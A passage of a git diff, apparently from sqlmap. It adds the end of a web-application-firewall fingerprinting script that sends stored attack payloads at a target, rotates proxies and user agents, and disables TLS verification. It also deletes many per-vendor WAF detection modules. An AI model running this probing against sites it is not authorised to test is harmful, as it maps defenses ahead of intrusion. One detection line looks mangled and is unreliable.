os.chdir(os.path.abspath(os.path.dirname(__file__))) + + print(colorize("[o] initializing handlers...")) + + # Reference: https://stackoverflow.com/a/28052583 + if hasattr(ssl, "_create_unverified_context"): + ssl._create_default_https_context = ssl._create_unverified_context + + if options.proxy_file: + if os.path.isfile(options.proxy_file): + print(colorize("[o] loading proxy list...")) + + with codecs.open(options.proxy_file, "rb", encoding="utf8") as f: + proxies.extend(re.sub(r"\s.*", "", _.strip()) for _ in f.read().strip().split('\n') if _.startswith("http")) + random.shuffle(proxies) + else: + exit(colorize("[x] file '%s' does not exist" % options.proxy_file)) + + + cookie_jar = CookieJar() + opener = build_opener(HTTPCookieProcessor(cookie_jar)) + install_opener(opener) + + if options.proxy: + opener = build_opener(ProxyHandler({"http": options.proxy, "https": options.proxy})) + install_opener(opener) + + if options.random_agent: + revision = random.randint(20, 64) + platform = random.sample(("X11; %s %s" % (random.sample(("Linux", "Ubuntu; Linux", "U; Linux", "U; OpenBSD", "U; FreeBSD"), 1)[0], random.sample(("amd64", "i586", "i686", "amd64"), 1)[0]), "Windows NT %s%s" % (random.sample(("5.0", "5.1", "5.2", "6.0", "6.1", "6.2", "6.3", "10.0"), 1)[0], random.sample(("", "; Win64", "; WOW64"), 1)[0]), "Macintosh; Intel Mac OS X 10.%s" % random.randint(1, 11)), 1)[0] + user_agent = "Mozilla/5.0 (%s; rv:%d.0) Gecko/20100101 Firefox/%d.0" % (platform, revision, revision) + HEADERS["User-Agent"] = user_agent + +def format_name(waf): + return "%s%s" % (DATA_JSON["wafs"][waf]["name"], (" (%s)" % DATA_JSON["wafs"][waf]["company"]) if DATA_JSON["wafs"][waf]["name"] != DATA_JSON["wafs"][waf]["company"] else "") + +def non_blind_check(raw): + retval = False + match = re.search(WAF_RECOGNITION_REGEX, raw or "") + if match: + retval = True + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + non_blind.add(waf) + single_print(colorize("[+] non-blind match: '%s'%s" % (format_name(waf), 20 * ' '))) + return retval + +def run(): + global original + + hostname = options.url.split("//")[-1].split('/')[0].split(':')[0] + + if not hostname.replace('.', "").isdigit(): + print(colorize("[i] checking hostname '%s'..." % hostname)) + try: + socket.getaddrinfo(hostname, None) + except socket.gaierror: + exit(colorize("[x] host '%s' does not exist" % hostname)) + + results = "" + signature = b"" + counter = 0 + original = retrieve(options.url) + + if 300 <= (original[HTTPCODE] or 0) < 400 and original[URL]: + original = retrieve(original[URL]) + + options.url = original[URL] + + if original[HTTPCODE] is None: + exit(colorize("[x] missing valid response")) + + if not any((options.string, options.code)) and original[HTTPCODE] >= 400: + non_blind_check(original[RAW]) + if options.debug: + print("\r---%s" % (40 * ' ')) + print(original[HTTPCODE], original[RAW]) + print("---") + exit(colorize("[x] access to host '%s' seems to be restricted%s" % (hostname, (" (%d: '%s')" % (original[HTTPCODE], original[TITLE].strip())) if original[TITLE] else ""))) + + challenge = None + if all(_ in original[HTML].lower() for _ in ("eval", "]*>(.*)", re.sub(r"(?is)", "", original[HTML])) + if re.search(r"(?i)<(body|div)", original[HTML]) is None or (match and len(match.group(1)) == 0): + challenge = re.search(r"(?is)", original[HTML]).group(0).replace("\n", "\\n") + print(colorize("[x] anti-robot JS challenge detected ('%s%s')" % (challenge[:MAX_JS_CHALLENGE_SNAPLEN], "..." if len(challenge) > MAX_JS_CHALLENGE_SNAPLEN else ""))) + + protection_keywords = GENERIC_PROTECTION_KEYWORDS + protection_regex = GENERIC_PROTECTION_REGEX % '|'.join(keyword for keyword in protection_keywords if keyword not in original[HTML].lower()) + + print(colorize("[i] running basic heuristic test...")) + if not check_payload(HEURISTIC_PAYLOAD): + check = False + if options.url.startswith("https://"): + options.url = options.url.replace("https://", "http://") + check = check_payload(HEURISTIC_PAYLOAD) + if not check: + if non_blind_check(intrusive[RAW]): + exit(colorize("[x] unable to continue due to static responses%s" % (" (captcha)" if re.search(r"(?i)captcha", intrusive[RAW]) is not None else ""))) + elif challenge is None: + exit(colorize("[x] host '%s' does not seem to be protected" % hostname)) + else: + exit(colorize("[x] response not changing without JS challenge solved")) + + if options.fast and not non_blind: + exit(colorize("[x] fast exit because of missing non-blind match")) + + if not intrusive[HTTPCODE]: + print(colorize("[i] rejected summary: RST|DROP")) + else: + _ = "...".join(match.group(0) for match in re.finditer(GENERIC_ERROR_MESSAGE_REGEX, intrusive[HTML])).strip().replace(" ", " ") + print(colorize(("[i] rejected summary: %d ('%s%s')" % (intrusive[HTTPCODE], ("%s" % intrusive[TITLE]) if intrusive[TITLE] else "", "" if not _ or intrusive[HTTPCODE] < 400 else ("...%s" % _))).replace(" ('')", ""))) + + found = non_blind_check(intrusive[RAW] if intrusive[HTTPCODE] is not None else original[RAW]) + + if not found: + print(colorize("[-] non-blind match: -")) + + for item in DATA_JSON["payloads"]: + info, payload = item.split("::", 1) + counter += 1 + + if IS_TTY: + sys.stdout.write(colorize("\r[i] running payload tests... (%d/%d)\r" % (counter, len(DATA_JSON["payloads"])))) + sys.stdout.flush() + + if counter % VERIFY_OK_INTERVAL == 0: + for i in xrange(VERIFY_RETRY_TIMES): + if not check_payload(str(random.randint(1, 9)), protection_regex): + break + elif i == VERIFY_RETRY_TIMES - 1: + exit(colorize("[x] host '%s' seems to be misconfigured or rejecting benign requests%s" % (hostname, (" (%d: '%s')" % (intrusive[HTTPCODE], intrusive[TITLE].strip())) if intrusive[TITLE] else ""))) + else: + time.sleep(5) + + last = check_payload(payload, protection_regex) + non_blind_check(intrusive[RAW]) + signature += struct.pack(">H", ((calc_hash(payload, binary=False) << 1) | last) & 0xffff) + results += 'x' if last else '.' + + if last and info not in blocked: + blocked.append(info) + + _ = calc_hash(signature) + signature = "%s:%s" % (_.encode("hex") if not hasattr(_, "hex") else _.hex(), base64.b64encode(signature).decode("ascii")) + + print(colorize("%s[=] results: '%s'" % ("\n" if IS_TTY else "", results))) + + hardness = 100 * results.count('x') / len(results) + print(colorize("[=] hardness: %s (%d%%)" % ("insane" if hardness >= 80 else ("hard" if hardness >= 50 else ("moderate" if hardness >= 30 else "easy")), hardness))) + + if blocked: + print(colorize("[=] blocked categories: %s" % ", ".join(blocked))) + + if not results.strip('.') or not results.strip('x'): + print(colorize("[-] blind match: -")) + + if re.search(r"(?i)captcha", original[HTML]) is not None: + exit(colorize("[x] there seems to be an activated captcha")) + else: + print(colorize("[=] signature: '%s'" % signature)) + + if signature in SIGNATURES: + waf = SIGNATURES[signature] + print(colorize("[+] blind match: '%s' (100%%)" % format_name(waf))) + elif results.count('x') < MIN_MATCH_PARTIAL: + print(colorize("[-] blind match: -")) + else: + matches = {} + markers = set() + decoded = base64.b64decode(signature.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + markers.add(part) + + for candidate in SIGNATURES: + counter_y, counter_n = 0, 0 + decoded = base64.b64decode(candidate.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + if part in markers: + counter_y += 1 + elif any(_ in markers for _ in (part & ~1, part | 1)): + counter_n += 1 + result = int(round(100 * counter_y / (counter_y + counter_n))) + if SIGNATURES[candidate] in matches: + if result > matches[SIGNATURES[candidate]]: + matches[SIGNATURES[candidate]] = result + else: + matches[SIGNATURES[candidate]] = result + + if chained: + for _ in list(matches.keys()): + if matches[_] < 90: + del matches[_] + + if not matches: + print(colorize("[-] blind match: - ")) + print(colorize("[!] probably chained web protection systems")) + else: + matches = [(_[1], _[0]) for _ in matches.items()] + matches.sort(reverse=True) + + print(colorize("[+] blind match: %s" % ", ".join("'%s' (%d%%)" % (format_name(matches[i][1]), matches[i][0]) for i in xrange(min(len(matches), MAX_MATCHES) if matches[0][0] != 100 else 1)))) + + print() + +def main(): + if "--version" not in sys.argv: + print(BANNER) + + parse_args() + init() + run() + +load_data() + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + exit(colorize("\r[x] Ctrl-C pressed")) diff --git a/waf/360.py b/waf/360.py deleted file mode 100644 index 9342d3321d1..00000000000 --- a/waf/360.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "360 Web Application Firewall (360)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= headers.get("X-Powered-By-360wzb") is not None - retval |= code == 493 and "/wzws-waf-cgi/" in (page or "") - retval |= all(_ in (page or "") for _ in ("eventID", "If you are the Webmaster", "493")) - if retval: - break - - return retval diff --git a/waf/__init__.py b/waf/__init__.py deleted file mode 100644 index c654cbef7f4..00000000000 --- a/waf/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -pass diff --git a/waf/aesecure.py b/waf/aesecure.py deleted file mode 100644 index 46bf75fb60d..00000000000 --- a/waf/aesecure.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "aeSecure (aeSecure)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= headers.get("aeSecure-code") is not None - retval |= all(_ in (page or "") for _ in ("aeSecure", "aesecure_denied.png")) - if retval: - break - - return retval diff --git a/waf/airlock.py b/waf/airlock.py deleted file mode 100644 index 3ef082d8225..00000000000 --- a/waf/airlock.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Airlock (Phion/Ergon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("The server detected a syntax error in your request", "Check your request and all parameters", "Bad Request", "Your request ID was")) - if retval: - break - - return retval diff --git a/waf/anquanbao.py b/waf/anquanbao.py deleted file mode 100644 index d2d86bd0cef..00000000000 --- a/waf/anquanbao.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Anquanbao Web Application Firewall (Anquanbao)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= code == 405 and any(_ in (page or "") for _ in ("/aqb_cc/error/", "hidden_intercept_time")) - if retval: - break - - return retval diff --git a/waf/approach.py b/waf/approach.py deleted file mode 100644 index b44eddbdc72..00000000000 --- a/waf/approach.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Approach Web Application Firewall (Approach)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= re.search(r"Approach Web Application Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"Approach()? Web Application Firewall", page or "", re.I) is not None - retval |= " Your IP address has been logged and this information could be used by authorities to track you." in (page or "") - retval |= all(_ in (page or "") for _ in ("Sorry for the inconvenience!", "If this was an legitimate request please contact us with details!")) - if retval: - break - - return retval diff --git a/waf/armor.py b/waf/armor.py deleted file mode 100644 index 63c240135c5..00000000000 --- a/waf/armor.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Armor Protection (Armor Defense)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= "This request has been blocked by website protection from Armor" in (page or "") - if retval: - break - - return retval diff --git a/waf/asm.py b/waf/asm.py deleted file mode 100644 index 4e083791423..00000000000 --- a/waf/asm.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Application Security Manager (F5 Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= "The requested URL was rejected. Please consult with your administrator." in (page or "") - retval |= all(_ in (page or "") for _ in ("security.f5aas.com", "Please enable JavaScript to view the page content")) - if retval: - break - - return retval diff --git a/waf/astra.py b/waf/astra.py deleted file mode 100644 index 3160b5706f4..00000000000 --- a/waf/astra.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Astra (Czar Securities)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= all(_ in (page or "") for _ in ("unfortunately our website protection system", "//www.getastra.com")) - if retval: - break - - return retval diff --git a/waf/aws.py b/waf/aws.py deleted file mode 100644 index 624db991a43..00000000000 --- a/waf/aws.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Amazon Web Services Web Application Firewall (Amazon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= code == 403 and re.search(r"\bAWS", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/barracuda.py b/waf/barracuda.py deleted file mode 100644 index d19ec04f9e1..00000000000 --- a/waf/barracuda.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Barracuda Web Application Firewall (Barracuda Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"\Abarra_counter_session=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"(\A|\b)barracuda_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= "when this page occurred and the event ID found at the bottom of the page" in (page or "") - if retval: - break - - return retval diff --git a/waf/bekchy.py b/waf/bekchy.py deleted file mode 100644 index ca4932ed04d..00000000000 --- a/waf/bekchy.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Bekchy (Faydata Information Technologies Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("Bekchy - Access Denided", "")) - if retval: - break - - return retval diff --git a/waf/bitninja.py b/waf/bitninja.py deleted file mode 100644 index ee405b6eda3..00000000000 --- a/waf/bitninja.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "BitNinja (BitNinja)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("alt=\"BitNinja|Security check by BitNinja", "your IP will be removed from BitNinja", "Visitor anti-robot validation")) - if retval: - break - - return retval diff --git a/waf/bluedon.py b/waf/bluedon.py deleted file mode 100644 index f4dbf7814c7..00000000000 --- a/waf/bluedon.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Bluedon Web Application Firewall (Bluedon Information Security Technology)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= re.search(r"BDWAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"Bluedon Web Application Firewall", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/cerber.py b/waf/cerber.py deleted file mode 100644 index 1fda49d82e8..00000000000 --- a/waf/cerber.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "WP Cerber Security (Cerber Tech)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("We're sorry, you are not allowed to proceed", "Your request looks suspicious or similar to automated requests from spam posting software")) - if retval: - break - - return retval diff --git a/waf/chinacache.py b/waf/chinacache.py deleted file mode 100644 index eaf4ccc1040..00000000000 --- a/waf/chinacache.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ChinaCache (ChinaCache Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= (code or 0) >= 400 and headers.get("Powered-By-ChinaCache") is not None - - if retval: - break - - return retval diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py deleted file mode 100644 index 156cadb289e..00000000000 --- a/waf/ciscoacexml.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Cisco ACE XML Gateway (Cisco Systems)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval |= re.search(r"ACE XML Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/cloudbric.py b/waf/cloudbric.py deleted file mode 100644 index 649c1e54b07..00000000000 --- a/waf/cloudbric.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Cloudbric Web Application Firewall (Cloudbric)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= (code or 0) >= 400 and all(_ in (page or "") for _ in ("Cloudbric", "Malicious Code Detected")) - if retval: - break - - return retval diff --git a/waf/cloudflare.py b/waf/cloudflare.py deleted file mode 100644 index 1322882ea0a..00000000000 --- a/waf/cloudflare.py +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CloudFlare Web Application Firewall (CloudFlare)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - - if (code or 0) >= 400: - retval |= re.search(r"cloudflare", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= headers.get("cf-ray") is not None - retval |= re.search(r"CloudFlare Ray ID:|var CloudFlare=", page or "") is not None - retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Please complete the security check to access")) - retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Sorry, you have been blocked")) - retval |= any(_ in (page or "") for _ in ("CLOUDFLARE_ERROR_500S_BOX", "::CAPTCHA_BOX::")) - - if retval: - break - - return retval diff --git a/waf/cloudfront.py b/waf/cloudfront.py deleted file mode 100644 index b18cade5788..00000000000 --- a/waf/cloudfront.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CloudFront (Amazon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= all(_ in (page or "") for _ in ("Generated by cloudfront", "Request blocked")) - if retval: - break - - return retval diff --git a/waf/comodo.py b/waf/comodo.py deleted file mode 100644 index c3cb35083ac..00000000000 --- a/waf/comodo.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Comodo Web Application Firewall (Comodo)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval |= re.search(r"Protected by COMODO WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/crawlprotect.py b/waf/crawlprotect.py deleted file mode 100644 index c88e625271b..00000000000 --- a/waf/crawlprotect.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CrawlProtect (Jean-Denis Brun)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval |= (code or 0) >= 400 and "This site is protected by CrawlProtect" in (page or "") - retval |= "CrawlProtect" in (page or "") - if retval: - break - - return retval diff --git a/waf/distil.py b/waf/distil.py deleted file mode 100644 index 77a213eedb5..00000000000 --- a/waf/distil.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Distil Web Application Firewall Security (Distil Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= headers.get("x-distil-cs") is not None - retval |= any(_ in (page or "") for _ in ("distilCaptchaForm", "distilCallbackGuard", "cdn.distilnetworks.com/images/anomaly-detected.png")) - if retval: - break - - return retval diff --git a/waf/dotdefender.py b/waf/dotdefender.py deleted file mode 100644 index 57e9402d949..00000000000 --- a/waf/dotdefender.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "dotDefender (Applicure Technologies)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= headers.get("X-dotDefender-denied", "") == "1" - retval |= any(_ in (page or "") for _ in ("dotDefender Blocked Your Request", '<meta name="description" content="Applicure is the leading provider of web application security', "Please contact the site administrator, and provide the following Reference ID:")) - if retval: - break - - return retval diff --git a/waf/edgecast.py b/waf/edgecast.py deleted file mode 100644 index 4a7ed503e9b..00000000000 --- a/waf/edgecast.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "EdgeCast Web Application Firewall (Verizon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, code = get_page(get=vector) - retval |= code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/expressionengine.py b/waf/expressionengine.py deleted file mode 100644 index 9879d34a839..00000000000 --- a/waf/expressionengine.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ExpressionEngine (EllisLab)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) and re.search(r"\bexp_last_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/fortiweb.py b/waf/fortiweb.py deleted file mode 100644 index b5d2c1b756e..00000000000 --- a/waf/fortiweb.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "FortiWeb Web Application Firewall (Fortinet)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"\AFORTIWAFSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in (".fgd_icon", ".blocked", ".authenticate")) - if retval: - break - - return retval diff --git a/waf/generic.py b/waf/generic.py deleted file mode 100644 index a1d9e9e2d7e..00000000000 --- a/waf/generic.py +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.convert import getUnicode -from lib.core.data import kb -from lib.core.settings import GENERIC_PROTECTION_REGEX -from lib.core.settings import IPS_WAF_CHECK_PAYLOAD -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Generic (Unknown)" - -def detect(get_page): - retval = False - - original, _, code = get_page() - if original is None or (code or 0) >= 400: - return False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - - if (code or 0) >= 400 or (IPS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))): - if code is not None: - kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(getUnicode(_) for _ in (headers.headers if headers else {}) or [] if not _.startswith("URI")), getUnicode(page or "")) - - retval = True - break - - return retval diff --git a/waf/godaddy.py b/waf/godaddy.py deleted file mode 100644 index 8989a77c408..00000000000 --- a/waf/godaddy.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "GoDaddy Website Firewall (GoDaddy Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("Access Denied - GoDaddy Website Firewall", "<title>GoDaddy Security - Access Denied")) - if retval: - break - - return retval diff --git a/waf/greywizard.py b/waf/greywizard.py deleted file mode 100644 index 73b60134d19..00000000000 --- a/waf/greywizard.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Greywizard (Grey Wizard)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = 